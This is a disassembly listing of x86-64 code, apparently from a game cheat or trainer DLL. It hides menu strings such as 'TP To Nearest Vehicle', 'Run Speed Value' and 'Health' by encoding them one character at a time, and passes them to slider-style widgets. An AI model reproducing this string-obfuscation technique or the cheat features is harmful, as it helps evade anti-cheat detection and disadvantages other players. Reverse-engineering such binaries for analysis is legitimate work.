lea rcx, [rbp + 0x16b8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800cd310
lea rcx, [rbp + 0x16b8]
call fcn.1800143e0
mov rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.180094d40
movzx ebx, al
lea rcx, [rbp + 0x16b8]
call fcn.180011f20
test bl, bl
je 0x1800cd380
lea rcx, [0x1805e5b98]
call fcn.1800543e0
call fcn.1800afc00
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm14
call fcn.180076bd0
lea rcx, [rbp + 0x4278]
call fcn.180076f00
movss xmm1, dword [rax]
subss xmm1, xmm14
movaps xmm2, xmm13
lea rcx, [rbp + 0x4280]
call fcn.180011e10
mov qword [rbp - 0x80], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xcc8], xmm0
mov dword [rbp + 0xcd8], eax
mov word [rbp + 0xcdc], ax
mov cl, 0x54
call fcn.1800ed7e0
mov byte [rsp + 0x56], al
mov cl, 0x50
call fcn.1800ed7e0
mov byte [rsp + 0x57], al
mov cl, 0x20
call fcn.1800ed7e0
mov byte [rsp + 0x58], al
mov cl, 0x54
call fcn.1800ed7e0
mov byte [rsp + 0x59], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800ed7e0
mov byte [rsp + 0x5a], al
mov cl, 0x20
call fcn.1800ed7e0
mov byte [rsp + 0x60], al
mov cl, 0x4e
call fcn.1800ed7e0
mov byte [rsp + 0x61], al
mov cl, 0x65
call fcn.1800ed7e0
mov byte [rsp + 0x62], al
mov cl, 0x61
call fcn.1800ed7e0
mov byte [rsp + 0x63], al
mov cl, WSAStartup
call fcn.1800ed7e0
mov byte [rsp + 0x78], al
mov cl, 0x65
call fcn.1800ed7e0
mov byte [rsp + 0x79], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800ed7e0
mov byte [rsp + 0x7a], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800ed7e0
mov byte [rsp + 0x7c], al
mov cl, 0x20
call fcn.1800ed7e0
mov byte [rsp + 0x7b], al
mov cl, 0x56
call fcn.1800ed7e0
movzx r13d, al
mov cl, 0x65
call fcn.1800ed7e0
movzx r12d, al
mov cl, 0x68
call fcn.1800ed7e0
movzx r15d, al
mov cl, 0x69
call fcn.1800ed7e0
movzx r14d, al
mov cl, 0x63
call fcn.1800ed7e0
movzx esi, al
mov cl, 0x6c
call fcn.1800ed7e0
movzx edi, al
mov cl, 0x65
call fcn.1800ed7e0
movzx ebx, al
xor ecx, ecx
call fcn.1800ed7e0
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xcc8], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xcc9], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xcca], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xccb], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0xccc], cl
movzx ecx, byte [rsp + 0x60]
mov byte [rbp + 0xccd], cl
movzx ecx, byte [rsp + 0x61]
mov byte [rbp + 0xcce], cl
movzx ecx, byte [rsp + 0x62]
mov byte [rbp + 0xccf], cl
movzx ecx, byte [rsp + 0x63]
mov byte [rbp + 0xcd0], cl
movzx ecx, byte [rsp + 0x78]
mov byte [rbp + 0xcd1], cl
movzx ecx, byte [rsp + 0x79]
mov byte [rbp + 0xcd2], cl
movzx ecx, byte [rsp + 0x7a]
mov byte [rbp + 0xcd3], cl
movzx ecx, byte [rsp + 0x7c]
mov byte [rbp + 0xcd4], cl
movzx ecx, byte [rsp + 0x7b]
mov byte [rbp + 0xcd5], cl
mov byte [rbp + 0xcd6], r13b
mov byte [rbp + 0xcd7], r12b
mov byte [rbp + 0xcd8], r15b
mov byte [rbp + 0xcd9], r14b
mov byte [rbp + 0xcda], sil
mov byte [rbp + 0xcdb], dil
mov byte [rbp + 0xcdc], bl
mov byte [rbp + 0xcdd], al
lea rcx, [rbp + 0x16d8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x100
xor r8d, r8d
mov esi, socket
mov edx, esi
lea rcx, [rbp + 0x16d8]
call fcn.180014330
xor edi, edi
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0xcc8]
call fcn.180014570
movzx ecx, byte [rax]
call fcn.1800ed7e0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x16d8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800cd5c0
lea rcx, [rbp + 0x16d8]
call fcn.1800143e0
mov rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.180094d40
movzx ebx, al
lea rcx, [rbp + 0x16d8]
call fcn.180011f20
test bl, bl
je 0x1800cd630
lea rcx, [0x1805e5b90]
call fcn.1800543d0
call fcn.18002d540
mov ecx, 1
call fcn.1800697c0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180075800
call fcn.180070430
movaps xmm0, xmm13
call fcn.180076bd0
call fcn.180076ba0
addss xmm0, xmm11
call fcn.180076c20
lea rcx, [rbp + 0x4288]
call fcn.180076f00
movss xmm6, dword [rax + 4]
subss xmm6, xmm13
lea rcx, [rbp + 0x4290]
call fcn.180076f00
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm1, xmm11
movaps xmm2, xmm6
lea rcx, [rbp + 0x4298]
call fcn.180011e10
mov qword [rbp - 0x80], rax
xor eax, eax
mov qword [rbp + 0x4c0], rax
mov dword [rbp + 0x4c8], eax
mov word [rbp + 0x4cc], ax
mov byte [rbp + 0x4ce], al
mov cl, 0x23
call fcn.180014710
mov byte [rsp + 0x56], al
mov cl, 0x23
call fcn.180014710
mov byte [rsp + 0x57], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180014710
mov byte [rsp + 0x58], al
mov cl, 0x65
call fcn.180014710
mov byte [rsp + 0x59], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014710
mov byte [rsp + 0x5a], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014710
mov byte [rsp + 0x60], al
mov cl, 0x69
call fcn.180014710
mov byte [rsp + 0x61], al
mov cl, WSAGetLastError
call fcn.180014710
movzx r13d, al
mov cl, 0x67
call fcn.180014710
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180014710
movzx r15d, al
mov cl, 0x5f
call fcn.180014710
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014710
movzx esi, al
mov cl, 0x61
call fcn.180014710
movzx edi, al
mov cl, 0x62
call fcn.180014710
movzx ebx, al
xor ecx, ecx
call fcn.180014710
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0x4c0], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0x4c1], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0x4c2], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0x4c3], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0x4c4], cl
movzx ecx, byte [rsp + 0x60]
mov byte [rbp + 0x4c5], cl
movzx ecx, byte [rsp + 0x61]
mov byte [rbp + 0x4c6], cl
mov byte [rbp + 0x4c7], r13b
mov byte [rbp + 0x4c8], r12b
mov byte [rbp + 0x4c9], r15b
mov byte [rbp + 0x4ca], r14b
mov byte [rbp + 0x4cb], sil
mov byte [rbp + 0x4cc], dil
mov byte [rbp + 0x4cd], bl
mov byte [rbp + 0x4ce], al
lea rcx, [rbp + 0x16f8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x200
xor r8d, r8d
mov edi, reloc.WS2_32.dll_ntohs
mov edx, edi
lea rcx, [rbp + 0x16f8]
call fcn.180014330
xor esi, esi
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x4c0]
call fcn.180014a80
movzx ecx, byte [rax]
call fcn.180014710
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x16f8]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub rdi, 1
jne 0x1800cd820
lea rcx, [rbp + 0x16f8]
call fcn.1800143e0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.180070380
nop
lea rcx, [rbp + 0x16f8]
call fcn.180011f20
xor eax, eax
mov qword [rbp + 0x370], rax
mov byte [rbp + 0x378], al
mov cl, 0x53
call fcn.18001b160
mov byte [rsp + 0x56], al
mov cl, 0x65
call fcn.18001b160
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.18001b160
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.18001b160
movzx r15d, al
mov cl, 0x69
call fcn.18001b160
movzx r14d, al
mov cl, WSAGetLastError
call fcn.18001b160
movzx esi, al
mov cl, 0x67
call fcn.18001b160
movzx edi, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.18001b160
movzx ebx, al
xor ecx, ecx
call fcn.18001b160
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0x370], cl
mov byte [rbp + 0x371], r13b
mov byte [rbp + 0x372], r12b
mov byte [rbp + 0x373], r15b
mov byte [rbp + 0x374], r14b
mov byte [rbp + 0x375], sil
mov byte [rbp + 0x376], dil
mov byte [rbp + 0x377], bl
mov byte [rbp + 0x378], al
lea rcx, [rbp + 0x1718]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x400
xor r8d, r8d
mov ebx, 9
mov edx, ebx
lea rcx, [rbp + 0x1718]
call fcn.180014330
xor edi, edi
mov esi, edi
mov r14d, ebx
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp + 0x370]
call fcn.180014be0
movzx ecx, byte [rax]
call fcn.18001b160
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x1718]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800cd960
lea rcx, [rbp + 0x1718]
call fcn.1800143e0
mov rcx, rax
call fcn.1800b1aa0
nop
lea rcx, [rbp + 0x1718]
call fcn.180011f20
movss xmm0, dword [0x1801ce7dc]
call fcn.180076c20
lea rcx, [rbp + 0x42a0]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
movss xmm6, dword [0x1801ce7e4]
subss xmm0, xmm6
call fcn.180076bd0
xor eax, eax
mov dword [rbp + 0x115c], eax
mov cl, 0x6d
call fcn.1800ed850
mov byte [rsp + 0x70], al
mov cl, 0x2e
call fcn.1800ed850
mov byte [rsp + 0x71], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800ed850
mov byte [rsp + 0x72], al
xor ecx, ecx
call fcn.1800ed850
mov byte [rsp + 0x73], al
mov eax, dword [rsp + 0x70]
mov dword [rbp + 0x115c], eax
lea rcx, [rbp + 0x1758]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x800
xor r8d, r8d
mov ebx, 4
mov edx, ebx
lea rcx, [rbp + 0x1758]
call fcn.180014330
mov esi, ebx
nop dword [rax]
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x115c]
call fcn.180014a20
movzx ecx, byte [rax]
call fcn.1800ed850
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1758]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800cda60
lea rcx, [rbp + 0x1758]
call fcn.1800143e0
mov qword [rbp - 0x80], rax
xor eax, eax
mov qword [rbp + 0x960], rax
mov dword [rbp + 0x968], eax
mov word [rbp + 0x96c], ax
mov cl, 0x4e
call fcn.1800568c0
mov byte [rsp + 0x56], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800568c0
mov byte [rsp + 0x57], al
mov cl, 0x20
call fcn.1800568c0
mov byte [rsp + 0x58], al
mov cl, 0x43
call fcn.1800568c0
mov byte [rsp + 0x59], al
mov cl, 0x6c
call fcn.1800568c0
mov byte [rsp + 0x5a], al
mov cl, 0x69
call fcn.1800568c0
mov byte [rsp + 0x60], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800568c0
movzx r13d, al
mov cl, 0x20
call fcn.1800568c0
movzx r12d, al
mov cl, 0x53
call fcn.1800568c0
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800568c0
movzx r14d, al
mov cl, 0x65
call fcn.1800568c0
movzx esi, al
mov cl, 0x65
call fcn.1800568c0
movzx edi, al
mov cl, 0x64
call fcn.1800568c0
movzx ebx, al
xor ecx, ecx
call fcn.1800568c0
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0x960], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0x961], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0x962], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0x963], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0x964], cl
movzx ecx, byte [rsp + 0x60]
mov byte [rbp + 0x965], cl
mov byte [rbp + 0x966], r13b
mov byte [rbp + 0x967], r12b
mov byte [rbp + 0x968], r15b
mov byte [rbp + 0x969], r14b
mov byte [rbp + 0x96a], sil
mov byte [rbp + 0x96b], dil
mov byte [rbp + 0x96c], bl
mov byte [rbp + 0x96d], al
lea rcx, [rbp + 0x1738]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x1800
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x1738]
call fcn.180014330
xor edi, edi
mov esi, edi
mov r14d, ebx
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x960]
call fcn.1800149b0
movzx ecx, byte [rax]
call fcn.1800568c0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x1738]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800cdc00
lea rcx, [rbp + 0x1738]
call fcn.1800143e0
mov byte [rsp + 0x28], dil
mov rcx, qword [rbp - 0x80]
mov qword [rsp + 0x20], rcx
movaps xmm3, xmm6
movss xmm7, dword [0x1801ce568]
movaps xmm2, xmm7
lea rdx, [0x1801f7068]
mov rcx, rax
call fcn.1800b35f0
nop
lea rcx, [rbp + 0x1738]
call fcn.180011f20
nop
lea rcx, [rbp + 0x1758]
call fcn.180011f20
call fcn.180076ba0
addss xmm0, xmm12
call fcn.180076c20
lea rcx, [rbp + 0x42a8]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
subss xmm0, xmm6
call fcn.180076bd0
xor eax, eax
mov dword [rbp + 0x1120], eax
mov cl, 0x6d
call fcn.1800569c0
mov byte [rsp + 0x70], al
mov cl, 0x2e
call fcn.1800569c0
mov byte [rsp + 0x71], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800569c0
mov byte [rsp + 0x72], al
xor ecx, ecx
call fcn.1800569c0
mov byte [rsp + 0x73], al
mov eax, dword [rsp + 0x70]
mov dword [rbp + 0x1120], eax
lea rcx, [rbp + 0x1798]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x2000
xor r8d, r8d
mov ebx, 4
mov edx, ebx
lea rcx, [rbp + 0x1798]
call fcn.180014330
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x1120]
call fcn.180014a20
movzx ecx, byte [rax]
call fcn.1800569c0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1798]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800cdd20
lea rcx, [rbp + 0x1798]
call fcn.1800143e0
mov qword [rbp - 0x80], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1060], xmm0
mov cl, 0x52
call fcn.1800ed7e0
mov byte [rsp + 0x56], al
mov cl, 0x75
call fcn.1800ed7e0
mov byte [rsp + 0x57], al
mov cl, WSAGetLastError
call fcn.1800ed7e0
mov byte [rsp + 0x58], al
mov cl, 0x20
call fcn.1800ed7e0
mov byte [rsp + 0x59], al
mov cl, 0x53
call fcn.1800ed7e0
mov byte [rsp + 0x5a], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800ed7e0
mov byte [rsp + 0x60], al
mov cl, 0x65
call fcn.1800ed7e0
mov byte [rsp + 0x61], al
mov cl, 0x65
call fcn.1800ed7e0
mov byte [rsp + 0x62], al
mov cl, 0x64
call fcn.1800ed7e0
movzx r13d, al
mov cl, 0x20
call fcn.1800ed7e0
movzx r12d, al
mov cl, 0x56
call fcn.1800ed7e0
movzx r15d, al
mov cl, 0x61
call fcn.1800ed7e0
movzx r14d, al
mov cl, 0x6c
call fcn.1800ed7e0
movzx esi, al
mov cl, 0x75
call fcn.1800ed7e0
movzx edi, al
mov cl, 0x65
call fcn.1800ed7e0
movzx ebx, al
xor ecx, ecx
call fcn.1800ed7e0
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0x1060], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0x1061], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0x1062], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0x1063], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0x1064], cl
movzx ecx, byte [rsp + 0x60]
mov byte [rbp + 0x1065], cl
movzx ecx, byte [rsp + 0x61]
mov byte [rbp + 0x1066], cl
movzx ecx, byte [rsp + 0x62]
mov byte [rbp + 0x1067], cl
mov byte [rbp + 0x1068], r13b
mov byte [rbp + 0x1069], r12b
mov byte [rbp + 0x106a], r15b
mov byte [rbp + 0x106b], r14b
mov byte [rbp + 0x106c], sil
mov byte [rbp + 0x106d], dil
mov byte [rbp + 0x106e], bl
mov byte [rbp + 0x106f], al
lea rcx, [rbp + 0x1778]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x6000
xor r8d, r8d
mov r14d, reloc.WS2_32.dll_recv
mov edx, r14d
lea rcx, [rbp + 0x1778]
call fcn.180014330
xor edi, edi
mov esi, edi
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x1060]
call fcn.180014b30
movzx ecx, byte [rax]
call fcn.1800ed7e0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x1778]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800cdee0
lea rcx, [rbp + 0x1778]
call fcn.1800143e0
mov byte [rsp + 0x28], dil
mov rcx, qword [rbp - 0x80]
mov qword [rsp + 0x20], rcx
movss xmm8, dword [0x1801ce744]
movaps xmm3, xmm8
movaps xmm2, xmm7
lea rdx, [0x1801f706c]
mov rcx, rax
call fcn.1800b35f0
nop
lea rcx, [rbp + 0x1778]
call fcn.180011f20
nop
lea rcx, [rbp + 0x1798]
call fcn.180011f20
call fcn.180076ba0
addss xmm0, xmm12
call fcn.180076c20
lea rcx, [rbp + 0x42b0]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
subss xmm0, xmm6
call fcn.180076bd0
xor eax, eax
mov dword [rbp + 0x1124], eax
mov cl, 0x6d
call fcn.180056a70
mov byte [rsp + 0x70], al
mov cl, 0x2e
call fcn.180056a70
mov byte [rsp + 0x71], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056a70
mov byte [rsp + 0x72], al
xor ecx, ecx
call fcn.180056a70
mov byte [rsp + 0x73], al
mov eax, dword [rsp + 0x70]
mov dword [rbp + 0x1124], eax
lea rcx, [rbp + 0x17d8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x8000
xor r8d, r8d
mov ebx, 4
mov edx, ebx
lea rcx, [rbp + 0x17d8]
call fcn.180014330
mov esi, ebx
nop
mov rdx, rdi
lea rcx, [rbp + 0x1124]
call fcn.180014a20
movzx ecx, byte [rax]
call fcn.180056a70
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x17d8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800ce000
lea rcx, [rbp + 0x17d8]
call fcn.1800143e0
mov qword [rbp - 0x80], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd40], xmm0
mov byte [rbp + 0xd50], al
mov cl, 0x53
call fcn.180014730
mov byte [rsp + 0x56], al
mov cl, 0x77
call fcn.180014730
mov byte [rsp + 0x57], al
mov cl, 0x69
call fcn.180014730
mov byte [rsp + 0x58], al
mov cl, 0x6d
call fcn.180014730
mov byte [rsp + 0x59], al
mov cl, 0x20
call fcn.180014730
mov byte [rsp + 0x5a], al
mov cl, 0x53
call fcn.180014730
mov byte [rsp + 0x60], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180014730
mov byte [rsp + 0x61], al
mov cl, 0x65
call fcn.180014730
mov byte [rsp + 0x62], al
mov cl, 0x65
call fcn.180014730
mov byte [rsp + 0x63], al
mov cl, 0x64
call fcn.180014730
movzx r13d, al
mov cl, 0x20
call fcn.180014730
movzx r12d, al
mov cl, 0x56
call fcn.180014730
movzx r15d, al
mov cl, 0x61
call fcn.180014730
movzx r14d, al
mov cl, 0x6c
call fcn.180014730
movzx esi, al
mov cl, 0x75
call fcn.180014730
movzx edi, al
mov cl, 0x65
call fcn.180014730
movzx ebx, al
xor ecx, ecx
call fcn.180014730
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xd40], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xd41], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xd42], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xd43], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0xd44], cl
movzx ecx, byte [rsp + 0x60]
mov byte [rbp + 0xd45], cl
movzx ecx, byte [rsp + 0x61]
mov byte [rbp + 0xd46], cl
movzx ecx, byte [rsp + 0x62]
mov byte [rbp + 0xd47], cl
movzx ecx, byte [rsp + 0x63]
mov byte [rbp + 0xd48], cl
mov byte [rbp + 0xd49], r13b
mov byte [rbp + 0xd4a], r12b
mov byte [rbp + 0xd4b], r15b
mov byte [rbp + 0xd4c], r14b
mov byte [rbp + 0xd4d], sil
mov byte [rbp + 0xd4e], dil
mov byte [rbp + 0xd4f], bl
mov byte [rbp + 0xd50], al
lea rcx, [rbp + 0x17b8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x18000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_recvfrom
mov edx, ebx
lea rcx, [rbp + 0x17b8]
call fcn.180014330
xor r13d, r13d
mov edi, r13d
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xd40]
call fcn.1800148e0
movzx ecx, byte [rax]
call fcn.180014730
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x17b8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800ce1e0
lea rcx, [rbp + 0x17b8]
call fcn.1800143e0
mov byte [rsp + 0x28], r13b
mov rcx, qword [rbp - 0x80]
mov qword [rsp + 0x20], rcx
movaps xmm3, xmm8
movaps xmm2, xmm7
lea rdx, [0x1805ddd08]
mov rcx, rax
call fcn.1800b35f0
nop
lea rcx, [rbp + 0x17b8]
call fcn.180011f20
nop
lea rcx, [rbp + 0x17d8]
call fcn.180011f20
call fcn.180076ba0
addss xmm0, xmm12
call fcn.180076c20
lea rcx, [rbp + 0x42b8]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
subss xmm0, xmm6
call fcn.180076bd0
xor eax, eax
mov word [rbp - 0x48], ax
mov byte [rbp - 0x46], al
mov cl, 0x68
call fcn.1800148a0
movzx edi, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800148a0
movzx ebx, al
xor ecx, ecx
call fcn.1800148a0
mov byte [rbp - 0x48], dil
mov byte [rbp - 0x47], bl
mov byte [rbp - 0x46], al
lea rcx, [rbp + 0x1818]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x20000
xor r8d, r8d
mov ebx, 3
mov edx, ebx
lea rcx, [rbp + 0x1818]
call fcn.180014330
mov rdi, r13
mov esi, ebx
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp - 0x48]
call fcn.18001e4e0
movzx ecx, byte [rax]
call fcn.1800148a0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1818]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800ce2f0
lea rcx, [rbp + 0x1818]
call fcn.1800143e0
mov qword [rbp - 0x80], rax
xor eax, eax
mov dword [rbp + 0x90], eax
mov word [rbp + 0x94], ax
mov byte [rbp + 0x96], al
mov cl, 0x48
call fcn.1800567c0
movzx r12d, al
mov cl, 0x65
call fcn.1800567c0
movzx r15d, al
mov cl, 0x61
call fcn.1800567c0
movzx r14d, al
mov cl, 0x6c
call fcn.1800567c0
movzx esi, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800567c0
movzx edi, al
mov cl, 0x68
call fcn.1800567c0
movzx ebx, al
xor ecx, ecx
call fcn.1800567c0
mov byte [rbp + 0x90], r12b
mov byte [rbp + 0x91], r15b
mov byte [rbp + 0x92], r14b
mov byte [rbp + 0x93], sil
mov byte [rbp + 0x94], dil
mov byte [rbp + 0x95], bl
mov byte [rbp + 0x96], al
lea rcx, [rbp + 0x17f8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x60000
xor r8d, r8d
mov esi, 7
mov edx, esi
lea rcx, [rbp + 0x17f8]
call fcn.180014330
mov rdi, r13
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x90]
call fcn.180014a60
movzx ecx, byte [rax]
call fcn.1800567c0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x17f8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800ce3f0
lea rcx, [rbp + 0x17f8]
call fcn.1800143e0
mov byte [rsp + 0x28], sil
mov rcx, qword [rbp - 0x80]
mov qword [rsp + 0x20], rcx
movss xmm8, dword [0x1801ce864]
movaps xmm3, xmm8
movaps xmm2, xmm7
lea rdx, [0x1801f7060]
mov rcx, rax
call fcn.1800b35f0
nop
lea rcx, [rbp + 0x17f8]
call fcn.180011f20
nop
lea rcx, [rbp + 0x1818]
call fcn.180011f20
call fcn.180076ba0
addss xmm0, xmm12
call fcn.180076c20
lea rcx, [rbp + 0x42c0]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
subss xmm0, xmm6
call fcn.180076bd0
xor eax, eax
mov word [rbp - 0x4c], ax
mov byte [rbp - 0x4a], al
mov cl, 0x68
call fcn.180056a20
movzx edi, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180056a20
movzx ebx, al
xor ecx, ecx
call fcn.180056a20
mov byte [rbp - 0x4c], dil
mov byte [rbp - 0x4b], bl
mov byte [rbp - 0x4a], al
lea rcx, [rbp + 0x1858]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x80000
xor r8d, r8d
mov esi, 3
mov edx, esi
lea rcx, [rbp + 0x1858]
call fcn.180014330
mov rdi, r13
nop
mov rdx, rdi
lea rcx, [rbp - 0x4c]
call fcn.18001e4e0
movzx ecx, byte [rax]
call fcn.180056a20
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1858]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800ce500
lea rcx, [rbp + 0x1858]
call fcn.1800143e0
mov r12, rax
xor eax, eax
mov dword [rbp + 0x110], eax
mov word [rbp + 0x114], ax
mov cl, 0x41
call fcn.180014840
movzx r15d, al
mov cl, WSAStartup
call fcn.180014840
movzx r14d, al
mov cl, 0x6d
call fcn.180014840
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014840
movzx edi, al
mov cl, WSAStartup
call fcn.180014840
movzx ebx, al
xor ecx, ecx
call fcn.180014840
mov byte [rbp + 0x110], r15b
mov byte [rbp + 0x111], r14b
mov byte [rbp + 0x112], sil
mov byte [rbp + 0x113], dil
mov byte [rbp + 0x114], bl
mov byte [rbp + 0x115], al
lea rcx, [rbp + 0x1838]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x80040
xor r8d, r8d
mov edi, 6
mov edx, edi
lea rcx, [rbp + 0x1838]
call fcn.180014330
nop dword [rax]
mov rdx, r13
lea rcx, [rbp + 0x110]
call fcn.180014a40
movzx ecx, byte [rax]
call fcn.180014840
movzx ebx, al
mov rdx, r13
lea rcx, [rbp + 0x1838]
call fcn.180014c80
mov byte [rax], bl
inc r13
sub rdi, 1
jne 0x1800ce5e0
lea rcx, [rbp + 0x1838]
call fcn.1800143e0
mov byte [rsp + 0x28], dil
mov qword [rsp + 0x20], r12
movaps xmm3, xmm8
movaps xmm2, xmm7
lea rdx, [0x1801f7064]
mov rcx, rax
call fcn.1800b35f0
nop
lea rcx, [rbp + 0x1838]
call fcn.180011f20
nop
lea rcx, [rbp + 0x1858]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180070430
lea rcx, [rbp + 0x42c8]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
addss xmm0, xmm11
call fcn.180076bd0
movss xmm0, dword [0x1801ce844]
call fcn.180076c20
lea rcx, [rbp + 0x42d0]
call fcn.180076f00
movss xmm6, dword [rax + 4]
subss xmm6, xmm11
lea rcx, [rbp + 0x42d8]
call fcn.180076f00
movss xmm1, dword [rax]
subss xmm1, xmm13
movaps xmm2, xmm6
lea rcx, [rbp + 0x42e0]
call fcn.180011e10
mov qword [rbp - 0x80], rax
xor eax, eax
mov qword [rbp + 0x730], rax
mov word [rbp + 0x738], ax
